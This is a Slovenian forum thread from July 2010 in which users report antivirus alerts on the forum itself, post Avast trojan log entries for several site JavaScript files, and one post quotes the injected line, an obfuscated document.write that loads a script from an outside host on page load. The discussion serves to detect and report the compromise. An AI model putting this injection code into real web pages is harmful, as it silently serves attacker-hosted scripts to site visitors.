Virus na strani!!!

DrM007

700. registrirani uporabnik

1. sep 2007

2.450

1

38

43

Krain

• 8. jul 2010

• #1

Pri odpiranju strani me je AVG opozoril:

Je še komu kaj podobnega zajamralo?

EDIT: Vprašaj v naslovu teme spremenjen v tri klicaje, ker smo virus potrdili.

 

Priponke

• 
  966901-alter-virus.jpg

  96,2 KB · Ogledi: 295

Nazadnje urejeno: 8. jul 2010

B

Bucko

Fizikalc

28. avg 2007

1.739

53

48

• 8. jul 2010

• #2

Ravnokar ja... NOD32 javlja - HackLoad.AA trojanski konj. :S

 

D

d3esaly

Fizikalc

1. jun 2008

457

40

28

• 8. jul 2010

• #3

Ja tudi meni ESET javlja trojanca.

LP

 

Z

ziggy

Fizikalc

8. nov 2007

1.133

2

36

• 8. jul 2010

• #4

Avast tudi jamBra.

 

pleXwriter

Majstr

3. avg 2009

3.376

303

83

• 8. jul 2010

• #5

Pri nas na šihtu Sophos nič ne javlja.

 

DoR

Pripravnik

2. sep 2007

247

0

16

• 8. jul 2010

• #6

Tudi avast zazna...

 

P

panoramic

Fizikalc

20. mar 2010

1.837

0

36

• 8. jul 2010

• #7

Microsoft Security Essentials ne javlja nič ...

 

splash

Fizikalc

1. sep 2007

439

49

28

43

• 8. jul 2010

• #8

AVG javlja ja!

 

DrM007

700. registrirani uporabnik

1. sep 2007

2.450

1

38

43

Krain

• 8. jul 2010

• #9

ksz:

ok... torej smo ugotovili, da ni bila le slučajnost. Ni treba več vsakomur potrjevat.

Adminom boste olajšali delo le, če boste pripopali Alert messages oziroma screenshote.

 

J

JustOne

Pripravnik

20. avg 2007

435

24

18

Gorenjska

• 8. jul 2010

• #10

Res je, meni avast javlja trojanca v java skriptah :

8.7.2010 21:32:56 https://www.alter.si/anyMask.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:56 https://www.alter.si/floatLayer.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/js/wz_tooltip.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/msscript.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/anyMask.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/floatLayer.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:58 https://www.alter.si/js/wz_tooltip.js [L] JS:Illredir-CI [Trj] (0)

praktično vsakič ko kliknem karkoli na strani. Včeraj je stran delovala BP.

 

O

ozze

Majstr

24. jul 2009

2.137

314

83

• 8. jul 2010

• #11

meni javi le če stran odprem v ie explorerju. V firefoxu pa ne

Eset (Nod32) javi da so okužene sledeče datoteke:
https://www.alter.si/msscript.js
https://www.alter.si/anyMask.js
https://www.alter.si/floatLayer.js

 

Priponke

• 
  966949-alterVirus.JPG

  26,8 KB · Ogledi: 254

Nazadnje urejeno: 8. jul 2010

DrM007

700. registrirani uporabnik

1. sep 2007

2.450

1

38

43

Krain

• 8. jul 2010

• #12

Citat:
Uporabnik JustOne pravi:
Res je, meni avast javlja trojanca v java skriptah :

8.7.2010 21:32:56 https://www.alter.si/anyMask.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:56 https://www.alter.si/floatLayer.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/js/wz_tooltip.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/msscript.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/anyMask.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:57 https://www.alter.si/floatLayer.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 21:32:58 https://www.alter.si/js/wz_tooltip.js [L] JS:Illredir-CI [Trj] (0)

praktično vsakič ko kliknem karkoli na strani. Včeraj je stran delovala BP.

Klikni za razširitev

bo že držalo, zadnja vrstica je v vseh teh fajlih sila sumljiva

Koda:

document.write('<s'+'cript type="text/javascript" src="http://drunkjeans.com:8080/Cc.js"></scr'+'ipt>');

 

steni

Fizikalc

5. jan 2008

682

39

28

Ravne na Koroškem

• 8. jul 2010

• #13

Avast:
8.7.2010 22:32:33 https://www.alter.si/msscript.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:32:33 https://www.alter.si/anyMask.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:32:34 https://www.alter.si/floatLayer.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:32:34 https://www.alter.si/js/wz_tooltip.js [L] JS:Illredir-CI [Trj] (0)

 

blazko

Majstr

21. sep 2007

7.447

425

83

• 8. jul 2010

• #14

Nisem opazil, ker imam blokirane skripte. Če pa dovolim izvajanje, mi Avast zajamra podobno:

8.7.2010 22:42:11 https://www.alter.si/anyMask.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:42:11 https://www.alter.si/floatLayer.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:42:11 https://www.alter.si/msscript.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:42:11 https://www.alter.si/anyMask.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:42:11 https://www.alter.si/js/wz_tooltip.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:42:11 https://www.alter.si/floatLayer.js [L] JS:Illredir-CI [Trj] (0)
8.7.2010 22:42:12 https://www.alter.si/js/wz_tooltip.js [L] JS:Illredir-CI [Trj] (0)

 

A

Alter.Si

Zelenc'

1. jan 1970

0

0

1

• 8. jul 2010

• #15

imam enak problem

https://www.alter.si/tabla/showflat.php/Cat/0/Number/966970/Main/966901/#Post966970

 

A

Alter.Si

Zelenc'

1. jan 1970

0

0

1

• 8. jul 2010

• #16

http://dl.dropbox.com/u/4505463/alter.jpg

 

B

badguy777

PDA maher

22. jul 2007

4.478

0

36

MB Okoliš

• 8. jul 2010

• #17

Nekaj se je primlo altera

 

Priponke

• 
  966981-alter.jpg

  40,8 KB · Ogledi: 261

T

Tenforest

Guru

3. sep 2007

5.774

548

113

42

povsod malo

• 8. jul 2010

• #18

 

Mr_Wolf

Guru

8. jan 2008

3.222

3.626

113

• 8. jul 2010

• #19

Nekaj "heca", ja...

 

Priponke

• 
  966999-Clipboard01.jpg

  168,4 KB · Ogledi: 262

J

jest5

Guru

18. avg 2007

25.959

-8.674

113

• 8. jul 2010

• #20